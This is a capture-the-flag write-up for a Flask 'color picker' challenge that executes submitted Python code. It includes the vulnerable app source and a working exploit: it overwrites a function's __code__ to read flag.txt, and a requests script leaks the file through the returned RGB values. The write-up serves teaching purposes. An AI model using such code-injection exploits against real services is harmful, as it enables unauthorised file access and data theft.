Welcome to Python 2 Color, the world’s best color picker from python code!
The flag is located in flag.txt.
Attachments: p2c_release.zip
app.py
from flask import Flask, request, render_template
import subprocess
from random import randint
from hashlib import md5
import os
import re
app = Flask(__name__)
def xec(code):
code = code.strip()
indented = "\n".join([" " + line for line in code.strip().splitlines()])
file = f"/tmp/uploads/code_{md5(code.encode()).hexdigest()}.py"
with open(file, 'w') as f:
f.write("def main():\n")
f.write(indented)
f.write("""\nfrom parse import rgb_parse
print(rgb_parse(main()))""")
os.system(f"chmod 755 {file}")
try:
res = subprocess.run(["sudo", "-u", "user", "python3", file], capture_output=True, text=True, check=True, timeout=0.1)
output = res.stdout
except Exception as e:
output = None
os.remove(file)
return output
@app.route('/', methods=["GET", "POST"])
def index():
res = None
if request.method == "POST":
code = request.form["code"]
res = xec(code)
valid = re.compile(r"\([0-9]{1,3}, [0-9]{1,3}, [0-9]{1,3}\)")
if res == None:
return render_template("index.html", rgb=f"rgb({randint(0, 256)}, {randint(0, 256)}, {randint(0, 256)})")
if valid.match("".join(res.strip().split("\n")[-1])):
return render_template("index.html", rgb="rgb" + "".join(res.strip().split("\n")[-1]))
return render_template("index.html", rgb=f"rgb({randint(0, 256)}, {randint(0, 256)}, {randint(0, 256)})")
return render_template("index.html", rgb=f"rgb({randint(0, 256)}, {randint(0, 256)}, {randint(0, 256)})")
if __name__ == "__main__":
app.run(host='0.0.0.0', port=80)
We are given a simple flask application. Here it has only a single route /
. When we send a POST
to /
with the code
value set, it goes on to execute xec(code)
.
def xec(code):
code = code.strip()
indented = "\n".join([" " + line for line in code.strip().splitlines()])
file = f"/tmp/uploads/code_{md5(code.encode()).hexdigest()}.py"
with open(file, 'w') as f:
f.write("def main():\n")
f.write(indented)
f.write("""\nfrom parse import rgb_parse
print(rgb_parse(main()))""")
os.system(f"chmod 755 {file}")
try:
res = subprocess.run(["sudo", "-u", "user", "python3", file], capture_output=True, text=True, check=True, timeout=0.1)
output = res.stdout
except Exception as e:
output = None
os.remove(file)
return output
The xec(code)
function simply creates a python file inside /tmp/uploads/
whose contents is
def main():
# Our code
from parse import rgb_parse
print(rgb_parse(main()))
Next it executes the this python program and the output returned by this program is stored inside output
. It then removes this python file and returns output
.
Then a regex expression inside the index()
is used to to check that the output of xec(code)
is of the format (9-255,1-255,0-255)
which means it must be a rgb color and then it simply renders the index.html
template with rgb
set to this value that returned.
In case the regex fails, it renders index.html
with some random rgb value.
This means whatever code
we send is executed on the server. So we could potentially just import os
and run commands on the system but that actually won’t help us actually as we do not have a way to read the output. And also sending the output to ourselves using requests
, curl
or something similar also won’t be possible because of the very short timeout.
We are also given parse.py
which contains the rgb_parse()
function. Let us try to analyze it.
parse.py
import sys
if "random" not in dir():
import random
def rgb_parse(inp=""):
inp = str(inp)
randomizer = random.randint(100, 1000)
total = 0
for n in inp:
n = ord(n)
total += n+random.randint(1, 10)
rgb = total*randomizer*random.randint(100, 1000)
rgb = str(rgb%1000000000)
r = int(rgb[0:3]) + 29
g = int(rgb[3:6]) + random.randint(10, 100)
b = int(rgb[6:9]) + 49
r, g, b = r%256, g%256, b%256
return r, g, b
The function rgb_parse()
takes an input inp
(which is the output of our main()
) and then by manipulating it generates a random rgb color value. This is then set in index.html
.
I had already tried sending the exploit by using curl
, requests
etc. but it would not work due to the timeout. Another approach was that we could create our own random.py
file and then implement our own randint
function so that the rgb values won’t be random anymore and then it would be possible to guess the flag using the rgb values. But this exploit only worked locally for me (no idea why it didn’t work on the server).
Finally this is what worked.
def main():
from parse import rgb_parse
def new(text):
with open("flag.txt", "r") as f:
flag = f.read()
return ord(flag[0]), ord(flag[1]), ord(flag[2])
rgb_parse.__code__ = new.__code__
return "code"
from parse import rgb_parse
print(rgb_parse(main()))
rgb_parse.__code__ = new.__code__
modifies the rgb_parse
funciton to our new
that we defined. With this we could find all the characters of the flag using the rgb values.
exploit.py
import requests
baseURL = 'http://p2c.chal.imaginaryctf.org/'
def pythonCode(code):
url = baseURL
sendData = {"code": code}
r = requests.post(url, data=sendData)
return r
flag = ""
for i in range(0, 33, 3):
exploit = f"""
from parse import rgb_parse
def new(text):
with open("flag.txt", "r") as f:
flag = f.read()
return ord(flag[{i}]), ord(flag[{i+1}]), ord(flag[{i+2}])
rgb_parse.__code__ = new.__code__
return "code"
"""
res = pythonCode(exploit).text
res = res.split('changeBackgroundColor("rgb')
res = res[1]
res = res.split('");')
res = eval(res[0])
flag += chr(res[0]) + chr(res[1]) + chr(res[2])
print(flag)
print(flag)
Running this gives our flag ictf{d1_color_picker_fr_2ce0dd3d}
.